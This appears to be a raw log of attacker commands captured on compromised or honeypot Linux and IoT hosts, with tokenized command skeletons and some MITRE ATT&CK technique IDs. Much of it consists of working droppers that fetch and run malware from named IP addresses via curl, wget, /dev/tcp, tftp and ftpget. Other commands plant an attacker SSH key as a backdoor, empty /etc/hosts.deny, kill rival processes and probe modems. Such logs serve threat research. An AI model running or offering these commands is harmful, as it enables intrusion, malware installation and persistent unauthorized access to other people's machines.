nohup $SHELL -c "curl http://125.124.222.170:60111/linux -o /tmp/jg7TUDLmhV; if [ ! -f /tmp/jg7TUDLmhV ]; then wget http://125.124.222.170:60111/linux -O /tmp/jg7TUDLmhV; fi; if [ ! -f /tmp/jg7TUDLmhV ]; then exec 6<>/dev/tcp/125.124.222.170/60111 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/jg7TUDLmhV && chmod +x /tmp/jg7TUDLmhV && /tmp/jg7TUDLmhV vRdMFgHCn3I0aJ/UCApPAcrGB0wUD8yfcDhon90BCkwAw94DRR4O3J9yMmaWwgoVShnCxQdTHArWmHYxcpbMCRNMGcLBA1MXFt2ecjpwnt0MHF0GwcEZSRAW3Zh0Lned2AISTQbCwRdMFQ/Cn3M2aJfYFhBMDcbABk4WGN2ccy53nNgWFk8F3sEATR4O3J93MWaf2AAKSgXewQJOCgnVm3w2dp/YAQRFGcLBAFMWDdyAfjJ8mNwJEEUXwcICUxUK2IB3OHKA3QsVRwHAwQREBADCnHc3aJzeCApMDsfKAU0VDNiOcjdomdoWFUkH3scFRxII3Z5/IHCfwgkSTRnCwQVTFgvYlHAwd57YGBBOGcHFAFMdDsKcdDN8mNwJFEoXyN4FTBwW3p5wLnCc1g4UTATJ0ANKCg/agHEyaJ/bDh5LB8HDAV0XAcKfcDVon9gPCkQPysYHTBYNzJ90OWif2AwKTA/A3gVLHg7cn3Y3ZpbCCRdFGcLGGUwVDtaYdjFyl8wACk8GyN4FTRIW2px8Nnaf3wEETAXJ3gZJEBbdlnYudJjWDhRMB8fQBkoVFt6fci51gN0IEEcBwMEDRQQM24BxNmiZ3hYVSgHKxgdMFw7Mn3YxaJ/fCgpMB8TeBk8TAtqedzBwjtoJCkwEyN4GRREW3p1yOnCe3QwcXQbByBlOFRbemnIud5zUAhJNBsLGF0kTFt6dfi50ntQWFUwEysYHTBcPzJ93M2ic2QgKTADH3gNHEgjdnH4gfoDeCRxTBcPAGUwRCtaYdjF3mMwLHVMGxsUZTBAPwpd+OnCe3QoRnK1zKcWK+VnPH1dm/Q0OmmygsQ==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/jg7TUDLmhV && /tmp/jg7TUDLmhV vRdMFgHCn3I0aJ/UCApPAcrGB0wUD8yfcDhon90BCkwAw94DRR4O3J9yMmaWwgoVShnCxQdTHArWmHYxcpbMCRNMGcLBA1MXFt2ecjpwnt0MHF0GwcEZSRAW3Zh0Lned2AISTQbCwRdMFQ/Cn3M2aJfYFhBMDcbABk4WGN2ccy53nNgWFk8F3sEATR4O3J93MWaf2AAKSgXewQJOCgnVm3w2dp/YAQRFGcLBAFMWDdyAfjJ8mNwJEEUXwcICUxUK2IB3OHKA3QsVRwHAwQREBADCnHc3aJzeCApMDsfKAU0VDNiOcjdomdoWFUkH3scFRxII3Z5/IHCfwgkSTRnCwQVTFgvYlHAwd57YGBBOGcHFAFMdDsKcdDN8mNwJFEoXyN4FTBwW3p5wLnCc1g4UTATJ0ANKCg/agHEyaJ/bDh5LB8HDAV0XAcKfcDVon9gPCkQPysYHTBYNzJ90OWif2AwKTA/A3gVLHg7cn3Y3ZpbCCRdFGcLGGUwVDtaYdjFyl8wACk8GyN4FTRIW2px8Nnaf3wEETAXJ3gZJEBbdlnYudJjWDhRMB8fQBkoVFt6fci51gN0IEEcBwMEDRQQM24BxNmiZ3hYVSgHKxgdMFw7Mn3YxaJ/fCgpMB8TeBk8TAtqedzBwjtoJCkwEyN4GRREW3p1yOnCe3QwcXQbByBlOFRbemnIud5zUAhJNBsLGF0kTFt6dfi50ntQWFUwEysYHTBcPzJ93M2ic2QgKTADH3gNHEgjdnH4gfoDeCRxTBcPAGUwRCtaYdjF3mMwLHVMGxsUZTBAPwpd+OnCe3QoRnK1zKcWK+VnPH1dm/Q0OmmygsQ==" &#UPX!

nohup $SHELL -c "curl http://125.124.222.170:60111/linux -o /tmp/5TJPxjaA68; if [ ! -f /tmp/5TJPxjaA68 ]; then wget http://125.124.222.170:60111/linux -O /tmp/5TJPxjaA68; fi; if [ ! -f /tmp/5TJPxjaA68 ]; then exec 6<>/dev/tcp/125.124.222.170/60111 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/5TJPxjaA68 && chmod +x /tmp/5TJPxjaA68 && /tmp/5TJPxjaA68 vRdMFgHCn3I0aJ/UCApPAcrGB0wUD8yfcDhon90BCkwAw94DRR4O3J9yMmaWwgoVShnCxQdTHArWmHYxcpbMCRNMGcLBA1MXFt2ecjpwnt0MHF0GwcEZSRAW3Zh0Lned2AISTQbCwRdMFQ/Cn3M2aJfYFhBMDcbABk4WGN2ccy53nNgWFk8F3sEATR4O3J93MWaf2AAKSgXewQJOCgnVm3w2dp/YAQRFGcLBAFMWDdyAfjJ8mNwJEEUXwcICUxUK2IB3OHKA3QsVRwHAwQREBADCnHc3aJzeCApMDsfKAU0VDNiOcjdomdoWFUkH3scFRxII3Z5/IHCfwgkSTRnCwQVTFgvYlHAwd57YGBBOGcHFAFMdDsKcdDN8mNwJFEoXyN4FTBwW3p5wLnCc1g4UTATJ0ANKCg/agHEyaJ/bDh5LB8HDAV0XAcKfcDVon9gPCkQPysYHTBYNzJ90OWif2AwKTA/A3gVLHg7cn3Y3ZpbCCRdFGcLGGUwVDtaYdjFyl8wACk8GyN4FTRIW2px8Nnaf3wEETAXJ3gZJEBbdlnYudJjWDhRMB8fQBkoVFt6fci51gN0IEEcBwMEDRQQM24BxNmiZ3hYVSgHKxgdMFw7Mn3YxaJ/fCgpMB8TeBk8TAtqedzBwjtoJCkwEyN4GRREW3p1yOnCe3QwcXQbByBlOFRbemnIud5zUAhJNBsLGF0kTFt6dfi50ntQWFUwEysYHTBcPzJ93M2ic2QgKTADH3gNHEgjdnH4gfoDeCRxTBcPAGUwRCtaYdjF3mMwLHVMGxsUZTBAPwpd+OnCe3QoRnK1zKcWK+VnPH1dm/Q0OmmygsQ==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/5TJPxjaA68 && /tmp/5TJPxjaA68 vRdMFgHCn3I0aJ/UCApPAcrGB0wUD8yfcDhon90BCkwAw94DRR4O3J9yMmaWwgoVShnCxQdTHArWmHYxcpbMCRNMGcLBA1MXFt2ecjpwnt0MHF0GwcEZSRAW3Zh0Lned2AISTQbCwRdMFQ/Cn3M2aJfYFhBMDcbABk4WGN2ccy53nNgWFk8F3sEATR4O3J93MWaf2AAKSgXewQJOCgnVm3w2dp/YAQRFGcLBAFMWDdyAfjJ8mNwJEEUXwcICUxUK2IB3OHKA3QsVRwHAwQREBADCnHc3aJzeCApMDsfKAU0VDNiOcjdomdoWFUkH3scFRxII3Z5/IHCfwgkSTRnCwQVTFgvYlHAwd57YGBBOGcHFAFMdDsKcdDN8mNwJFEoXyN4FTBwW3p5wLnCc1g4UTATJ0ANKCg/agHEyaJ/bDh5LB8HDAV0XAcKfcDVon9gPCkQPysYHTBYNzJ90OWif2AwKTA/A3gVLHg7cn3Y3ZpbCCRdFGcLGGUwVDtaYdjFyl8wACk8GyN4FTRIW2px8Nnaf3wEETAXJ3gZJEBbdlnYudJjWDhRMB8fQBkoVFt6fci51gN0IEEcBwMEDRQQM24BxNmiZ3hYVSgHKxgdMFw7Mn3YxaJ/fCgpMB8TeBk8TAtqedzBwjtoJCkwEyN4GRREW3p1yOnCe3QwcXQbByBlOFRbemnIud5zUAhJNBsLGF0kTFt6dfi50ntQWFUwEysYHTBcPzJ93M2ic2QgKTADH3gNHEgjdnH4gfoDeCRxTBcPAGUwRCtaYdjF3mMwLHVMGxsUZTBAPwpd+OnCe3QoRnK1zKcWK+VnPH1dm/Q0OmmygsQ==" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QDVPI

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://216.250.247.185/bins.sh; busybox wget http://216.250.247.185/bins.sh; curl -O http://216.250.247.185/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 216.250.247.185 -c get bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -r bins.sh -g 216.250.247.185; chmod 777 bins.sh; sh bins.sh; ftpget -v -u anonymous -p anonymous -P 21 216.250.247.185 bins.sh bins.sh; sh bins.sh; rm -rf bins.sh; rm -rf *;exit

('sh', 'shell', 'ls', 'cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf ; exit')


nohup $SHELL -c "curl http://117.33.147.39:60149/linux -o /tmp/UcxX4p9pYN; if [ ! -f /tmp/UcxX4p9pYN ]; then wget http://117.33.147.39:60149/linux -O /tmp/UcxX4p9pYN; fi; if [ ! -f /tmp/UcxX4p9pYN ]; then exec 6<>/dev/tcp/117.33.147.39/60149 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/UcxX4p9pYN && chmod +x /tmp/UcxX4p9pYN && /tmp/UcxX4p9pYN HjXooIExhKDiIGN9LeK0hTCCuug1YmUt/r+COZ2/5yZ9Zy3quIMxh7zwJGFqO+G6hy6CtuA7YWUv5r6CMISu5S19YSHjoIoznbvpL2VjJOS8kzGBvP4nYWU75LedMoO86iNjYiXjroIxhKDjJn1iIeeggDmJuOAkZ2o16KCBMYSg4SV9ai3quIMxg7rwLX1hJOiggTODoOEgYWkj4L+CNpO/4iZ9ZiP+vIMxnb/iJWllJeG+hyCCv+M7YWc75ridN4W05iViYyDwvYUugr/gO2JgIv62hjqFvuEhZnMt/ryCMJ2/4SJ9YSbhtIUwgr7oNWt9J+G2nTOBoOInZWkj4L+ANZO2/idiYzvivIYugr/kL2VjJOK3kzSEoOIhYH0k4rmdN4e05iViYSDwtp0ygr7+JGVnO+K9hjqFvuEmanMh56CBNIGg5CN9ZiDquIMxgLrwJGNiO+i3nTeFoOInaWUl4byCIIe5/idgZTvhu4MugbzqI2NiJumuiy6Bv+g7YGE74ryFOoW+4SZmcyTit50xh7r+JGtjO+K4iTaDv+Aic2s74r+DLoG85TtiYiHquIMxgbfwIWR9J+O4nTGFvv4kaWUl4b+EIIC3/ixrfSTgt50yi7TmJWJgI/C/hTKduOI7YmEj/raLOoW+4SVmcyHnoIE0gaDhLGB9J+e0hTCCvOA1YmIn/reCLoK/4TtiayzquIMxgr7wLX1hJOmggjWGoOIlY2kj4L+BNZO2/idiZDviu4Mui7zqI2NiIeiugTCDoOEsZn0j56CLMom44CRna6byebgtHp42qef1OzA=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/UcxX4p9pYN && /tmp/UcxX4p9pYN HjXooIExhKDiIGN9LeK0hTCCuug1YmUt/r+COZ2/5yZ9Zy3quIMxh7zwJGFqO+G6hy6CtuA7YWUv5r6CMISu5S19YSHjoIoznbvpL2VjJOS8kzGBvP4nYWU75LedMoO86iNjYiXjroIxhKDjJn1iIeeggDmJuOAkZ2o16KCBMYSg4SV9ai3quIMxg7rwLX1hJOiggTODoOEgYWkj4L+CNpO/4iZ9ZiP+vIMxnb/iJWllJeG+hyCCv+M7YWc75ridN4W05iViYyDwvYUugr/gO2JgIv62hjqFvuEhZnMt/ryCMJ2/4SJ9YSbhtIUwgr7oNWt9J+G2nTOBoOInZWkj4L+ANZO2/idiYzvivIYugr/kL2VjJOK3kzSEoOIhYH0k4rmdN4e05iViYSDwtp0ygr7+JGVnO+K9hjqFvuEmanMh56CBNIGg5CN9ZiDquIMxgLrwJGNiO+i3nTeFoOInaWUl4byCIIe5/idgZTvhu4MugbzqI2NiJumuiy6Bv+g7YGE74ryFOoW+4SZmcyTit50xh7r+JGtjO+K4iTaDv+Aic2s74r+DLoG85TtiYiHquIMxgbfwIWR9J+O4nTGFvv4kaWUl4b+EIIC3/ixrfSTgt50yi7TmJWJgI/C/hTKduOI7YmEj/raLOoW+4SVmcyHnoIE0gaDhLGB9J+e0hTCCvOA1YmIn/reCLoK/4TtiayzquIMxgr7wLX1hJOmggjWGoOIlY2kj4L+BNZO2/idiZDviu4Mui7zqI2NiIeiugTCDoOEsZn0j56CLMom44CRna6byebgtHp42qef1OzA=" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DOSMV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JLSHX


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HANXK


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://216.250.247.185/bins.sh; busybox wget http://216.250.247.185/bins.sh; curl -O http://216.250.247.185/bins.sh; chmod +x bins.sh; sh bins.sh; tftp 216.250.247.185 -c get bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -r bins.sh -g 216.250.247.185; chmod 777 bins.sh; sh bins.sh; ftpget -v -u anonymous -p anonymous -P 21 216.250.247.185 bins.sh bins.sh; sh bins.sh; rm -rf bins.sh; rm -rf *.sh

('sh', 'shell', 'cd || cd || cd || cd || cd ; wget ; busybox wget ; curl -O ; chmod +x ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf')


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VOQJX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PERIC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DDCOD


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai

rm -rf sshdbot; wget http://146.196.67.240/sshdbot || curl -O http://146.196.67.240/sshdbot || tftp 146.196.67.240 -c get sshdbot || tftp -g -r sshdbot 146.196.67.240; chmod 777 sshdbot;./sshdbot sshnfx; rm -rf sshdbot

('enable', 'system', 'shell', 'sh', 'linuxshell', 'cd ; echo > ; cat ; rm -rf', 'rm -rf sh ; wget || curl -O || tftp -c sh || tftp -g -r sh ; chmod sh ; ./ ; rm -rf sh', 'sudo', 'rm -rf ; wget || curl -O || tftp -c || tftp -g -r ; chmod ; ./ ; rm -rf')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ERMYP

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TCVVT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EQUCR


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RJQOY


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LJTHE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LBKYE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JXAXK


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZCAOJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FVSGO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GSVQD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BWCNP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UNJWO


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


/bin/busybox cat /proc/self/exe || cat /proc/self/exe

('sh', 'shell', 'enable', 'system', 'ping ; sh', 'nan', '/bin/busybox cat || cat')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZCEXP

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IUOVP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FYWRK

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KWHNA

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'cat ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'dd if || cat || while ; do echo ; done', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'rm ; exit', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1059 Command and Scripting Interpreter


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HFBWV


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('./ ; dd if || while ; do echo ; done || cat ;',)


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print ; }', 'ls -lh ( which ls )', 'which', 'w', 'uname', 'top', 'uname', 'whoami', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'ls -lh ( which ls )', 'which', 'w', 'cat | grep | grep | wc -l', 'uname', 'uname', 'whoami', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'top', 'uname', 'whoami', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'cd ; chattr -ia ; lockr -ia', 'echo | chpasswd | bash')


